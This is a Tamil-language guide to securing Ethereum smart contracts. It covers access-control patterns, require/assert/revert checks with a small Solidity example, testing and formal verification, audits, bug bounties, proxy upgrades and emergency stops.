ஸ்மார்ட் ஒப்பந்தப் பாதுகாப்பு

ஸ்மார்ட் ஒப்பந்தங்கள் மிகவும் நெகிழ்வானவை, மேலும் பிளாக்செயினில் பயன்படுத்தப்பட்ட குறியீட்டின் அடிப்படையில் மாற்ற முடியாத தர்க்கத்தை இயக்கும் அதே வேளையில், அதிக அளவிலான மதிப்பையும் தரவையும் கட்டுப்படுத்தும் திறன் கொண்டவை. இது மரபு அமைப்புகளை விட பல நன்மைகளை வழங்கும் நம்பிக்கையற்ற மற்றும் பரவலாக்கப்பட்ட பயன்பாடுகளின் துடிப்பான சுற்றுச்சூழல் அமைப்பை உருவாக்கியுள்ளது. ஸ்மார்ட் ஒப்பந்தங்களில் உள்ள பாதிப்புகளைப் பயன்படுத்தி லாபம் ஈட்ட விரும்பும் தாக்குபவர்களுக்கான வாய்ப்புகளையும் அவை பிரதிபலிக்கின்றன.

Ethereum போன்ற பொது பிளாக்செயின்கள், ஸ்மார்ட் ஒப்பந்தங்களைப் பாதுகாக்கும் சிக்கலை மேலும் சிக்கலாக்குகின்றன. பயன்படுத்தப்பட்ட ஒப்பந்தக் குறியீட்டை பொதுவாக பாதுகாப்பு குறைபாடுகளை சரிசெய்ய மாற்ற முடியாது, அதே நேரத்தில் ஸ்மார்ட் ஒப்பந்தங்களில் இருந்து திருடப்பட்ட சொத்துக்களைக் கண்காணிப்பது மிகவும் கடினம் மற்றும் மாற்ற முடியாத தன்மை காரணமாக பெரும்பாலும் மீட்டெடுக்க முடியாதவை.

புள்ளிவிவரங்கள் மாறுபட்டாலும், ஸ்மார்ட் ஒப்பந்தங்களில் உள்ள பாதுகாப்பு குறைபாடுகள் காரணமாக திருடப்பட்ட அல்லது இழந்த மதிப்பின் மொத்த அளவு எளிதாக $1 பில்லியனுக்கும் அதிகமாக இருக்கும் என்று மதிப்பிடப்பட்டுள்ளது. இதில் DAO hack (opens in a new tab) (3.6M ETH திருடப்பட்டது, இன்றைய விலையில் $1B க்கும் அதிகமான மதிப்புடையது), Parity multi-sig wallet hack (opens in a new tab) (ஹேக்கர்களிடம் $30M இழப்பு), மற்றும் Parity frozen wallet issue (opens in a new tab) (ETH இல் $300M க்கும் மேல் நிரந்தரமாக முடக்கப்பட்டுள்ளது) போன்ற உயர்மட்ட சம்பவங்கள் அடங்கும்.

மேற்கூறிய சிக்கல்கள், பாதுகாப்பான, வலுவான மற்றும் மீள்திறன் கொண்ட ஸ்மார்ட் ஒப்பந்தங்களை உருவாக்குவதில் டெவலப்பர்கள் முயற்சி எடுப்பதை கட்டாயமாக்குகின்றன. ஸ்மார்ட் ஒப்பந்தப் பாதுகாப்பு என்பது ஒரு தீவிரமான விஷயமாகும், மேலும் ஒவ்வொரு டெவலப்பரும் இதைக் கற்றுக்கொள்வது நல்லது. இந்த வழிகாட்டி Ethereum டெவலப்பர்களுக்கான பாதுகாப்புக் கருத்தாய்வுகளை உள்ளடக்கும் மற்றும் ஸ்மார்ட் ஒப்பந்தப் பாதுகாப்பை மேம்படுத்துவதற்கான ஆதாரங்களை ஆராயும்.

முன்தேவைகள்

பாதுகாப்பைக் கையாளுவதற்கு முன், ஸ்மார்ட் ஒப்பந்த மேம்பாட்டின் அடிப்படைகள் குறித்து நீங்கள் நன்கு அறிந்திருப்பதை உறுதிசெய்து கொள்ளவும்.

பாதுகாப்பான Ethereum ஸ்மார்ட் ஒப்பந்தங்களை உருவாக்குவதற்கான வழிகாட்டுதல்கள்

1. சரியான அணுகல் கட்டுப்பாடுகளை வடிவமைக்கவும்

ஸ்மார்ட் ஒப்பந்தங்களில், public அல்லது external எனக் குறிக்கப்பட்ட செயல்பாடுகளை எந்தவொரு வெளிப்புறமாகச் சொந்தமான கணக்குகள் (EOAs) அல்லது ஒப்பந்தக் கணக்குகளாலும் அழைக்க முடியும். மற்றவர்கள் உங்கள் ஒப்பந்தத்துடன் தொடர்பு கொள்ள வேண்டுமெனில், செயல்பாடுகளுக்கு public தெரிவுநிலையைக் குறிப்பிடுவது அவசியமாகும். இருப்பினும், private எனக் குறிக்கப்பட்ட செயல்பாடுகளை ஸ்மார்ட் ஒப்பந்தத்திற்குள் உள்ள செயல்பாடுகளால் மட்டுமே அழைக்க முடியும், வெளிப்புறக் கணக்குகளால் அல்ல. ஒவ்வொரு நெட்வொர்க் பங்கேற்பாளருக்கும் ஒப்பந்தச் செயல்பாடுகளுக்கான அணுகலை வழங்குவது சிக்கல்களை ஏற்படுத்தலாம், குறிப்பாக எவரும் உணர்திறன் வாய்ந்த செயல்பாடுகளைச் செய்ய முடியும் (எ.கா., புதிய டோக்கன்களை உருவாக்குதல்) என்றால்.

ஸ்மார்ட் ஒப்பந்தச் செயல்பாடுகளின் அங்கீகரிக்கப்படாத பயன்பாட்டைத் தடுக்க, பாதுகாப்பான அணுகல் கட்டுப்பாடுகளைச் செயல்படுத்துவது அவசியமாகும். அணுகல் கட்டுப்பாட்டு வழிமுறைகள், ஒப்பந்தத்தை நிர்வகிப்பதற்குப் பொறுப்பான கணக்குகள் போன்ற அங்கீகரிக்கப்பட்ட நிறுவனங்களுக்கு மட்டுமே ஸ்மார்ட் ஒப்பந்தத்தில் உள்ள சில செயல்பாடுகளைப் பயன்படுத்தும் திறனைக் கட்டுப்படுத்துகின்றன. ஸ்மார்ட் ஒப்பந்தங்களில் அணுகல் கட்டுப்பாட்டைச் செயல்படுத்த Ownable pattern மற்றும் role-based control ஆகிய இரண்டு வடிவங்கள் பயனுள்ளதாக இருக்கும்:

Ownable pattern

Ownable pattern-இல், ஒப்பந்தத்தை உருவாக்கும் செயல்முறையின் போது ஒரு முகவரி ஒப்பந்தத்தின் "உரிமையாளராக" (owner) அமைக்கப்படுகிறது. பாதுகாக்கப்பட்ட செயல்பாடுகளுக்கு OnlyOwner மாற்றியமைப்பான் (modifier) ஒதுக்கப்படுகிறது, இது செயல்பாட்டைச் செயல்படுத்துவதற்கு முன்பு அழைக்கும் முகவரியின் அடையாளத்தை ஒப்பந்தம் அங்கீகரிப்பதை உறுதி செய்கிறது. ஒப்பந்த உரிமையாளரைத் தவிர மற்ற முகவரிகளிலிருந்து பாதுகாக்கப்பட்ட செயல்பாடுகளுக்கான அழைப்புகள் எப்போதும் திரும்பப் பெறப்படும் (revert), இது தேவையற்ற அணுகலைத் தடுக்கிறது.

பங்கு அடிப்படையிலான அணுகல் கட்டுப்பாடு (Role-based access control)

ஸ்மார்ட் ஒப்பந்தத்தில் ஒரு முகவரியை Owner ஆகப் பதிவு செய்வது மையப்படுத்தலின் அபாயத்தை அறிமுகப்படுத்துகிறது மற்றும் இது தோல்விக்கான ஒற்றைப் புள்ளியைக் (single point-of-failure) குறிக்கிறது. உரிமையாளரின் கணக்கு விசைகள் சமரசம் செய்யப்பட்டால், தாக்குபவர்கள் சொந்தமான ஒப்பந்தத்தைத் தாக்கலாம். இதனால்தான் பல நிர்வாகக் கணக்குகளுடன் பங்கு அடிப்படையிலான அணுகல் கட்டுப்பாட்டு வடிவத்தைப் பயன்படுத்துவது சிறந்த தேர்வாக இருக்கலாம்.

பங்கு அடிப்படையிலான அணுகல் கட்டுப்பாட்டில், உணர்திறன் வாய்ந்த செயல்பாடுகளுக்கான அணுகல் நம்பகமான பங்கேற்பாளர்களின் தொகுப்பிற்கு இடையே விநியோகிக்கப்படுகிறது. எடுத்துக்காட்டாக, ஒரு கணக்கு டோக்கன்களை உருவாக்குவதற்குப் பொறுப்பாக இருக்கலாம், அதே சமயம் மற்றொரு கணக்கு மேம்படுத்தல்களைச் செய்யலாம் அல்லது ஒப்பந்தத்தை இடைநிறுத்தலாம். அணுகல் கட்டுப்பாட்டை இந்த வழியில் பரவலாக்குவது தோல்விக்கான ஒற்றைப் புள்ளிகளை நீக்குகிறது மற்றும் பயனர்களுக்கான நம்பிக்கை அனுமானங்களைக் குறைக்கிறது.

பல கையொப்ப வாலெட்டுகளைப் பயன்படுத்துதல்

பாதுகாப்பான அணுகல் கட்டுப்பாட்டைச் செயல்படுத்துவதற்கான மற்றொரு அணுகுமுறை, ஒப்பந்தத்தை நிர்வகிக்க பல கையொப்பக் கணக்கைப் (multi-signature account) பயன்படுத்துவதாகும். வழக்கமான EOA-ஐப் போலல்லாமல், பல கையொப்பக் கணக்குகள் பல நிறுவனங்களுக்குச் சொந்தமானவை மற்றும் பரிவர்த்தனைகளைச் செயல்படுத்த குறைந்தபட்ச எண்ணிக்கையிலான கணக்குகளிலிருந்து (உதாரணமாக 5-இல் 3) கையொப்பங்கள் தேவைப்படுகின்றன.

அணுகல் கட்டுப்பாட்டிற்கு multisig-ஐப் பயன்படுத்துவது கூடுதல் பாதுகாப்பு அடுக்கை அறிமுகப்படுத்துகிறது, ஏனெனில் இலக்கு ஒப்பந்தத்தின் மீதான செயல்களுக்குப் பல தரப்பினரின் ஒப்புதல் தேவைப்படுகிறது. Ownable pattern-ஐப் பயன்படுத்துவது அவசியமானால் இது மிகவும் பயனுள்ளதாக இருக்கும், ஏனெனில் இது தாக்குபவர் அல்லது முரட்டுத்தனமான உள்நபர் தீங்கிழைக்கும் நோக்கங்களுக்காக உணர்திறன் வாய்ந்த ஒப்பந்தச் செயல்பாடுகளைக் கையாளுவதை மிகவும் கடினமாக்குகிறது.

2. ஒப்பந்தச் செயல்பாடுகளைப் பாதுகாக்க require(), assert() மற்றும் revert() அறிக்கைகளைப் பயன்படுத்தவும்

குறிப்பிட்டுள்ளபடி, உங்கள் ஸ்மார்ட் ஒப்பந்தம் பிளாக்செயினில் பயன்படுத்தப்பட்டவுடன் எவரும் அதில் உள்ள public செயல்பாடுகளை அழைக்கலாம். வெளிப்புறக் கணக்குகள் ஒப்பந்தத்துடன் எவ்வாறு தொடர்பு கொள்ளும் என்பதை நீங்கள் முன்கூட்டியே அறிய முடியாது என்பதால், பயன்படுத்துவதற்கு முன்பு சிக்கலான செயல்பாடுகளுக்கு எதிராக உள் பாதுகாப்புகளைச் செயல்படுத்துவது சிறந்தது. சில தேவைகளைப் பூர்த்தி செய்யச் செயலாக்கம் தவறினால், விதிவிலக்குகளைத் தூண்டுவதற்கும் நிலை மாற்றங்களைத் திரும்பப் பெறுவதற்கும் require(), assert() மற்றும் revert() அறிக்கைகளைப் பயன்படுத்துவதன் மூலம் ஸ்மார்ட் ஒப்பந்தங்களில் சரியான நடத்தையை நீங்கள் செயல்படுத்தலாம்.

require(): require செயல்பாடுகளின் தொடக்கத்தில் வரையறுக்கப்படுகிறது மற்றும் அழைக்கப்பட்ட செயல்பாடு செயல்படுத்தப்படுவதற்கு முன்பு முன்வரையறுக்கப்பட்ட நிபந்தனைகள் பூர்த்தி செய்யப்படுவதை உறுதி செய்கிறது. பயனர் உள்ளீடுகளைச் சரிபார்க்கவும், நிலை மாறிகளைச் (state variables) சரிபார்க்கவும் அல்லது ஒரு செயல்பாட்டைத் தொடர்வதற்கு முன்பு அழைக்கும் கணக்கின் அடையாளத்தை அங்கீகரிக்கவும் require அறிக்கை பயன்படுத்தப்படலாம்.

assert(): assert() உள் பிழைகளைக் கண்டறியவும், உங்கள் குறியீட்டில் உள்ள "மாறிலிகளின்" (invariants) மீறல்களைச் சரிபார்க்கவும் பயன்படுத்தப்படுகிறது. மாறிலி என்பது ஒரு ஒப்பந்தத்தின் நிலையைப் பற்றிய தர்க்கரீதியான வலியுறுத்தலாகும், இது அனைத்துச் செயல்பாட்டுச் செயலாக்கங்களுக்கும் உண்மையாக இருக்க வேண்டும். டோக்கன் ஒப்பந்தத்தின் அதிகபட்ச மொத்த வழங்கல் அல்லது இருப்பு ஒரு எடுத்துக்காட்டு மாறிலியாகும். assert()-ஐப் பயன்படுத்துவது உங்கள் ஒப்பந்தம் ஒருபோதும் பாதிக்கப்படக்கூடிய நிலையை அடையாது என்பதை உறுதி செய்கிறது, அவ்வாறு நடந்தால், நிலை மாறிகளுக்கான அனைத்து மாற்றங்களும் திரும்பப் பெறப்படும்.

revert(): தேவையான நிபந்தனை பூர்த்தி செய்யப்படாவிட்டால் விதிவிலக்கைத் தூண்டும் if-else அறிக்கையில் revert() பயன்படுத்தப்படலாம். கீழே உள்ள மாதிரி ஒப்பந்தம் செயல்பாடுகளின் செயலாக்கத்தைப் பாதுகாக்க revert()-ஐப் பயன்படுத்துகிறது:

1pragma solidity ^0.8.4;
2
3contract VendingMachine {
4    address owner;
5    error Unauthorized();
6    function buy(uint amount) public payable {
7        if (amount > msg.value / 2 ether)
8            revert("Not enough Ether provided.");
9        // Perform the purchase.
10    }
11    function withdraw() public {
12        if (msg.sender != owner)
13            revert Unauthorized();
14
15        payable(msg.sender).transfer(address(this).balance);
16    }
17}
அனைத்தையும் காட்டு

3. ஸ்மார்ட் ஒப்பந்தங்களைச் சோதித்து குறியீட்டின் சரியான தன்மையைச் சரிபார்க்கவும்

Ethereum Virtual Machine-இல் இயங்கும் குறியீட்டின் மாறாத தன்மை (immutability) என்பது, மேம்பாட்டு கட்டத்தில் ஸ்மார்ட் ஒப்பந்தங்களுக்கு அதிக அளவிலான தர மதிப்பீடு தேவை என்பதைக் குறிக்கிறது. உங்கள் ஒப்பந்தத்தை விரிவாகச் சோதிப்பது மற்றும் எதிர்பாராத முடிவுகள் ஏதேனும் உள்ளதா என்பதைக் கவனிப்பது பாதுகாப்பைச் கணிசமாக மேம்படுத்தும் மற்றும் நீண்ட காலத்திற்கு உங்கள் பயனர்களைப் பாதுகாக்கும்.

பயனர்களிடமிருந்து ஒப்பந்தம் பெறும் என எதிர்பார்க்கப்படும் போலித் தரவைப் (mock data) பயன்படுத்திச் சிறிய யூனிட் சோதனைகளை (unit tests) எழுதுவது வழக்கமான முறையாகும். சில செயல்பாடுகளின் செயல்பாட்டைச் சோதிப்பதற்கும் ஸ்மார்ட் ஒப்பந்தம் எதிர்பார்த்தபடி செயல்படுவதை உறுதி செய்வதற்கும் யூனிட் சோதனை சிறந்தது.

துரதிர்ஷ்டவசமாக, தனிமைப்படுத்தப்பட்டுப் பயன்படுத்தப்படும் போது ஸ்மார்ட் ஒப்பந்தப் பாதுகாப்பை மேம்படுத்துவதற்கு யூனிட் சோதனை குறைந்தபட்ச அளவிலேயே பயனுள்ளதாக இருக்கும். ஒரு யூனிட் சோதனை போலித் தரவிற்கான செயல்பாடு சரியாகச் செயல்படுவதை நிரூபிக்கலாம், ஆனால் யூனிட் சோதனைகள் எழுதப்பட்ட சோதனைகளைப் போலவே மட்டுமே பயனுள்ளதாக இருக்கும். இது உங்கள் ஸ்மார்ட் ஒப்பந்தத்தின் பாதுகாப்பை உடைக்கக்கூடிய தவறவிட்ட விளிம்பு வழக்குகள் (edge cases) மற்றும் பாதிப்புகளைக் கண்டறிவதைக் கடினமாக்குகிறது.

நிலையான மற்றும் மாறும் பகுப்பாய்வைப் (static and dynamic analysis) பயன்படுத்திச் செய்யப்படும் பண்பு அடிப்படையிலான சோதனையுடன் யூனிட் சோதனையை இணைப்பது சிறந்த அணுகுமுறையாகும். நிலையான பகுப்பாய்வு, அடையக்கூடிய நிரல் நிலைகள் மற்றும் செயலாக்கப் பாதைகளை பகுப்பாய்வு செய்ய கட்டுப்பாட்டு ஓட்ட வரைபடங்கள் (control flow graphs) (opens in a new tab) மற்றும் சுருக்க தொடரியல் மரங்கள் (abstract syntax trees) (opens in a new tab) போன்ற குறைந்த-நிலை பிரதிநிதித்துவங்களை நம்பியுள்ளது. இதற்கிடையில், ஸ்மார்ட் ஒப்பந்த ஃபஸ்ஸிங் (smart contract fuzzing) (opens in a new tab) போன்ற மாறும் பகுப்பாய்வு நுட்பங்கள், பாதுகாப்புப் பண்புகளை மீறும் செயல்பாடுகளைக் கண்டறிய சீரற்ற உள்ளீட்டு மதிப்புகளுடன் ஒப்பந்தக் குறியீட்டைச் செயல்படுத்துகின்றன.

முறையான சரிபார்ப்பு (Formal verification) என்பது ஸ்மார்ட் ஒப்பந்தங்களில் பாதுகாப்புப் பண்புகளைச் சரிபார்க்கும் மற்றொரு நுட்பமாகும். வழக்கமான சோதனையைப் போலல்லாமல், முறையான சரிபார்ப்பு ஸ்மார்ட் ஒப்பந்தத்தில் பிழைகள் இல்லை என்பதை உறுதியாக நிரூபிக்க முடியும். விரும்பிய பாதுகாப்புப் பண்புகளைப் பிடிக்கும் முறையான விவரக்குறிப்பை உருவாக்குவதன் மூலமும், ஒப்பந்தங்களின் முறையான மாதிரி இந்த விவரக்குறிப்பைக் கடைப்பிடிக்கிறது என்பதை நிரூபிப்பதன் மூலமும் இது அடையப்படுகிறது.

4. உங்கள் குறியீட்டின் சுயாதீன மதிப்பாய்வைக் கேட்கவும்

உங்கள் ஒப்பந்தத்தைச் சோதித்த பிறகு, ஏதேனும் பாதுகாப்புச் சிக்கல்கள் உள்ளதா என மூலக் குறியீட்டைச் சரிபார்க்க மற்றவர்களைக் கேட்பது நல்லது. சோதனையானது ஸ்மார்ட் ஒப்பந்தத்தில் உள்ள ஒவ்வொரு குறையையும் வெளிப்படுத்தாது, ஆனால் ஒரு சுயாதீன மதிப்பாய்வைப் பெறுவது பாதிப்புகளைக் கண்டறியும் சாத்தியத்தை அதிகரிக்கிறது.

தணிக்கைகள்

ஸ்மார்ட் ஒப்பந்தத் தணிக்கையை நியமிப்பது சுயாதீன குறியீட்டு மதிப்பாய்வை நடத்துவதற்கான ஒரு வழியாகும். ஸ்மார்ட் ஒப்பந்தங்கள் பாதுகாப்பானவை மற்றும் தரக் குறைபாடுகள் மற்றும் வடிவமைப்புப் பிழைகள் இல்லாதவை என்பதை உறுதி செய்வதில் தணிக்கையாளர்கள் முக்கியப் பங்கு வகிக்கின்றனர்.

அவ்வாறு கூறப்பட்டாலும், தணிக்கைகளை ஒரு சஞ்சீவியாகக் கருதுவதைத் தவிர்க்க வேண்டும். ஸ்மார்ட் ஒப்பந்தத் தணிக்கைகள் ஒவ்வொரு பிழையையும் பிடிக்காது மற்றும் பெரும்பாலும் கூடுதல் மதிப்பாய்வுகளை வழங்க வடிவமைக்கப்பட்டுள்ளன, இது ஆரம்ப மேம்பாடு மற்றும் சோதனையின் போது டெவலப்பர்களால் தவறவிடப்பட்ட சிக்கல்களைக் கண்டறிய உதவும். ஸ்மார்ட் ஒப்பந்தத் தணிக்கையின் நன்மையை அதிகரிக்க, குறியீட்டைச் சரியாக ஆவணப்படுத்துதல் மற்றும் இன்லைன் கருத்துகளைச் சேர்த்தல் போன்ற தணிக்கையாளர்களுடன் பணியாற்றுவதற்கான சிறந்த நடைமுறைகளையும் நீங்கள் பின்பற்ற வேண்டும்.

பிழை வெகுமதிகள்

பிழை வெகுமதித் திட்டத்தை (bug bounty program) அமைப்பது வெளிப்புறக் குறியீட்டு மதிப்பாய்வுகளைச் செயல்படுத்துவதற்கான மற்றொரு அணுகுமுறையாகும். பிழை வெகுமதி என்பது ஒரு பயன்பாட்டில் உள்ள பாதிப்புகளைக் கண்டறியும் நபர்களுக்கு (பொதுவாக ஒயிட்ஹாட் ஹேக்கர்கள்) வழங்கப்படும் நிதி வெகுமதியாகும்.

சரியாகப் பயன்படுத்தப்படும் போது, பிழை வெகுமதிகள் ஹேக்கர் சமூகத்தின் உறுப்பினர்களுக்கு உங்கள் குறியீட்டில் உள்ள முக்கியமான குறைபாடுகளை ஆய்வு செய்வதற்கான ஊக்கத்தை அளிக்கின்றன. நிஜ வாழ்க்கை உதாரணம் "எல்லையற்ற பணப் பிழை" (infinite money bug) ஆகும், இது Ethereum-இல் இயங்கும் Layer 2 நெறிமுறையான Optimism (opens in a new tab)-இல் வரம்பற்ற ether-ஐ உருவாக்கத் தாக்குபவரை அனுமதித்திருக்கும். அதிர்ஷ்டவசமாக, ஒரு ஒயிட்ஹாட் ஹேக்கர் குறைபாட்டைக் கண்டுபிடித்து (opens in a new tab) குழுவிற்குத் தெரிவித்தார், இந்தச் செயல்பாட்டில் பெரிய தொகையைப் பெற்றார் (opens in a new tab).

ஆபத்தில் உள்ள நிதியின் அளவிற்கு விகிதாசாரமாகப் பிழை வெகுமதித் திட்டத்தின் செலுத்துதலை அமைப்பது ஒரு பயனுள்ள உத்தியாகும். "அளவிடுதல் பிழை வெகுமதி (scaling bug bounty) (opens in a new tab)" என விவரிக்கப்படும் இந்த அணுகுமுறை, தனிநபர்கள் பாதிப்புகளைச் சுரண்டுவதற்குப் பதிலாகப் பொறுப்புடன் வெளிப்படுத்துவதற்கான நிதி ஊக்கங்களை வழங்குகிறது.

5. ஸ்மார்ட் ஒப்பந்த மேம்பாட்டின் போது சிறந்த நடைமுறைகளைப் பின்பற்றவும்

தணிக்கைகள் மற்றும் பிழை வெகுமதிகளின் இருப்பு உயர்தரக் குறியீட்டை எழுதுவதற்கான உங்கள் பொறுப்பை மன்னிக்காது. நல்ல ஸ்மார்ட் ஒப்பந்தப் பாதுகாப்பு சரியான வடிவமைப்பு மற்றும் மேம்பாட்டு செயல்முறைகளைப் பின்பற்றுவதில் தொடங்குகிறது:

git போன்ற பதிப்புக் கட்டுப்பாட்டு அமைப்பில் (version control system) அனைத்துக் குறியீட்டையும் சேமிக்கவும்
அனைத்துக் குறியீட்டு மாற்றங்களையும் புல் கோரிக்கைகள் (pull requests) மூலம் செய்யவும்
புல் கோரிக்கைகளில் குறைந்தபட்சம் ஒரு சுயாதீன மதிப்பாய்வாளர் இருப்பதை உறுதிசெய்யவும்—நீங்கள் ஒரு திட்டத்தில் தனியாக வேலை செய்கிறீர்கள் என்றால், பிற டெவலப்பர்களைக் கண்டுபிடித்துக் குறியீட்டு மதிப்பாய்வுகளைப் பரிமாறிக்கொள்ளக் கருதுங்கள்
ஸ்மார்ட் ஒப்பந்தங்களைச் சோதிக்க, தொகுக்க, பயன்படுத்த ஒரு மேம்பாட்டு சூழலை (development environment) பயன்படுத்தவும்
Cyfrin Aderyn (opens in a new tab), Mythril மற்றும் Slither போன்ற அடிப்படைக் குறியீட்டுப் பகுப்பாய்வுக் கருவிகள் மூலம் உங்கள் குறியீட்டை இயக்கவும். வெறுமனே, ஒவ்வொரு புல் கோரிக்கையும் இணைக்கப்படுவதற்கு முன்பு இதைச் செய்து வெளியீட்டில் உள்ள வேறுபாடுகளை ஒப்பிட வேண்டும்
உங்கள் குறியீடு பிழைகள் இல்லாமல் தொகுக்கப்படுவதையும், Solidity கம்பைலர் எந்த எச்சரிக்கைகளையும் வெளியிடவில்லை என்பதையும் உறுதிப்படுத்தவும்
உங்கள் குறியீட்டைச் சரியாக ஆவணப்படுத்தவும் (NatSpec (opens in a new tab)-ஐப் பயன்படுத்தி) மற்றும் ஒப்பந்தக் கட்டமைப்பு பற்றிய விவரங்களை எளிதில் புரிந்துகொள்ளக்கூடிய மொழியில் விவரிக்கவும். இது மற்றவர்கள் உங்கள் குறியீட்டைத் தணிக்கை செய்வதையும் மதிப்பாய்வு செய்வதையும் எளிதாக்கும்.

6. வலுவான பேரிடர் மீட்புத் திட்டங்களைச் செயல்படுத்தவும்

பாதுகாப்பான அணுகல் கட்டுப்பாடுகளை வடிவமைத்தல், செயல்பாட்டு மாற்றியமைப்பான்களைச் செயல்படுத்துதல் மற்றும் பிற பரிந்துரைகள் ஸ்மார்ட் ஒப்பந்தப் பாதுகாப்பை மேம்படுத்தலாம், ஆனால் அவை தீங்கிழைக்கும் சுரண்டல்களின் சாத்தியத்தை நிராகரிக்க முடியாது. பாதுகாப்பான ஸ்மார்ட் ஒப்பந்தங்களை உருவாக்குவதற்கு "தோல்விக்குத் தயாராகுதல்" மற்றும் தாக்குதல்களுக்குப் பயனுள்ள முறையில் பதிலளிப்பதற்கான ஒரு பின்னடைவுத் திட்டம் (fallback plan) தேவை. சரியான பேரிடர் மீட்புத் திட்டம் பின்வரும் சில அல்லது அனைத்துக் கூறுகளையும் உள்ளடக்கியிருக்கும்:

ஒப்பந்த மேம்படுத்தல்கள்

Ethereum ஸ்மார்ட் ஒப்பந்தங்கள் இயல்பாகவே மாறாதவை என்றாலும், மேம்படுத்தல் வடிவங்களைப் பயன்படுத்துவதன் மூலம் ஓரளவிற்கு மாற்றியமைக்கும் தன்மையை அடைய முடியும். ஒரு முக்கியமான குறைபாடு உங்கள் பழைய ஒப்பந்தத்தைப் பயன்படுத்த முடியாததாக மாற்றும் மற்றும் புதிய தர்க்கத்தைப் பயன்படுத்துவது மிகவும் சாத்தியமான விருப்பமாக இருக்கும் சந்தர்ப்பங்களில் ஒப்பந்தங்களை மேம்படுத்துவது அவசியமாகும்.

ஒப்பந்த மேம்படுத்தல் வழிமுறைகள் வித்தியாசமாகச் செயல்படுகின்றன, ஆனால் ஸ்மார்ட் ஒப்பந்தங்களை மேம்படுத்துவதற்கான மிகவும் பிரபலமான அணுகுமுறைகளில் "ப்ராக்ஸி வடிவம்" (proxy pattern) ஒன்றாகும். ப்ராக்ஸி வடிவங்கள் (opens in a new tab) ஒரு பயன்பாட்டின் நிலை மற்றும் தர்க்கத்தை இரண்டு ஒப்பந்தங்களுக்கு இடையே பிரிக்கின்றன. முதல் ஒப்பந்தம் ('ப்ராக்ஸி ஒப்பந்தம்' என அழைக்கப்படுகிறது) நிலை மாறிகளைச் சேமிக்கிறது (எ.கா., பயனர் நிலுவைகள்), அதே சமயம் இரண்டாவது ஒப்பந்தம் ('தர்க்க ஒப்பந்தம்' என அழைக்கப்படுகிறது) ஒப்பந்தச் செயல்பாடுகளைச் செயல்படுத்துவதற்கான குறியீட்டைக் கொண்டுள்ளது.

கணக்குகள் ப்ராக்ஸி ஒப்பந்தத்துடன் தொடர்பு கொள்கின்றன, இது delegatecall() (opens in a new tab) குறைந்த-நிலை அழைப்பைப் பயன்படுத்தி அனைத்துச் செயல்பாட்டு அழைப்புகளையும் தர்க்க ஒப்பந்தத்திற்கு அனுப்புகிறது. வழக்கமான செய்தி அழைப்பைப் போலல்லாமல், delegatecall() தர்க்க ஒப்பந்தத்தின் முகவரியில் இயங்கும் குறியீடு அழைக்கும் ஒப்பந்தத்தின் சூழலில் செயல்படுத்தப்படுவதை உறுதி செய்கிறது. இதன் பொருள் தர்க்க ஒப்பந்தம் எப்போதும் ப்ராக்ஸியின் சேமிப்பகத்தில் (அதன் சொந்த சேமிப்பகத்திற்குப் பதிலாக) எழுதும் மற்றும் msg.sender மற்றும் msg.value ஆகியவற்றின் அசல் மதிப்புகள் பாதுகாக்கப்படும்.

தர்க்க ஒப்பந்தத்திற்கு அழைப்புகளை வழங்குவதற்கு அதன் முகவரியைப் ப்ராக்ஸி ஒப்பந்தத்தின் சேமிப்பகத்தில் சேமிக்க வேண்டும். எனவே, ஒப்பந்தத்தின் தர்க்கத்தை மேம்படுத்துவது என்பது மற்றொரு தர்க்க ஒப்பந்தத்தைப் பயன்படுத்துவது மற்றும் புதிய முகவரியைப் ப்ராக்ஸி ஒப்பந்தத்தில் சேமிப்பது மட்டுமே. ப்ராக்ஸி ஒப்பந்தத்திற்கான அடுத்தடுத்த அழைப்புகள் தானாகவே புதிய தர்க்க ஒப்பந்தத்திற்கு அனுப்பப்படுவதால், குறியீட்டை உண்மையில் மாற்றியமைக்காமல் ஒப்பந்தத்தை நீங்கள் "மேம்படுத்தியிருப்பீர்கள்".

ஒப்பந்தங்களை மேம்படுத்துவது பற்றி மேலும்.

அவசரகால நிறுத்தங்கள்

குறிப்பிட்டுள்ளபடி, விரிவான தணிக்கை மற்றும் சோதனையானது ஸ்மார்ட் ஒப்பந்தத்தில் உள்ள அனைத்துப் பிழைகளையும் கண்டறிய முடியாது. பயன்படுத்திய பிறகு உங்கள் குறியீட்டில் பாதிப்பு தோன்றினால், ஒப்பந்த முகவரியில் இயங்கும் குறியீட்டை உங்களால் மாற்ற முடியாது என்பதால் அதைச் சரிசெய்வது சாத்தியமற்றது. மேலும், மேம்படுத்தல் வழிமுறைகளை (எ.கா., ப்ராக்ஸி வடிவங்கள்) செயல்படுத்த நேரம் ஆகலாம் (அவற்றுக்குப் பெரும்பாலும் வெவ்வேறு தரப்பினரின் ஒப்புதல் தேவைப்படுகிறது), இது தாக்குபவர்களுக்கு அதிகச் சேதத்தை ஏற்படுத்த அதிக நேரத்தை மட்டுமே அளிக்கிறது.

ஒப்பந்தத்தில் பாதிக்கப்படக்கூடிய செயல்பாடுகளுக்கான அழைப்புகளைத் தடுக்கும் "அவசரகால நிறுத்த" (emergency stop) செயல்பாட்டைச் செயல்படுத்துவதே அணுக்கரு விருப்பமாகும் (nuclear option). அவசரகால நிறுத்தங்கள் பொதுவாகப் பின்வரும் கூறுகளைக் கொண்டிருக்கும்:

ஸ்மார்ட் ஒப்பந்தம் நிறுத்தப்பட்ட நிலையில் உள்ளதா இல்லையா என்பதைக் குறிக்கும் உலகளாவிய பூலியன் மாறி (global Boolean variable). ஒப்பந்தத்தை அமைக்கும் போது இந்த மாறி false என அமைக்கப்படும், ஆனால் ஒப்பந்தம் நிறுத்தப்பட்டவுடன் true எனத் திரும்பும்.
அவற்றின் செயலாக்கத்தில் பூலியன் மாறியைக் குறிக்கும் செயல்பாடுகள். ஸ்மார்ட் ஒப்பந்தம் நிறுத்தப்படாதபோது இத்தகைய செயல்பாடுகளை அணுக முடியும், மேலும் அவசரகால நிறுத்த அம்சம் தூண்டப்படும்போது அணுக முடியாததாகிவிடும்.
அவசரகால நிறுத்தச் செயல்பாட்டிற்கான அணுகலைக் கொண்ட ஒரு நிறுவனம், இது பூலியன் மாறியை true என அமைக்கிறது. தீங்கிழைக்கும் செயல்களைத் தடுக்க, இந்தச் செயல்பாட்டிற்கான அழைப்புகளை நம்பகமான முகவரிக்கு (எ.கா., ஒப்பந்த உரிமையாளர்) கட்டுப்படுத்தலாம்.

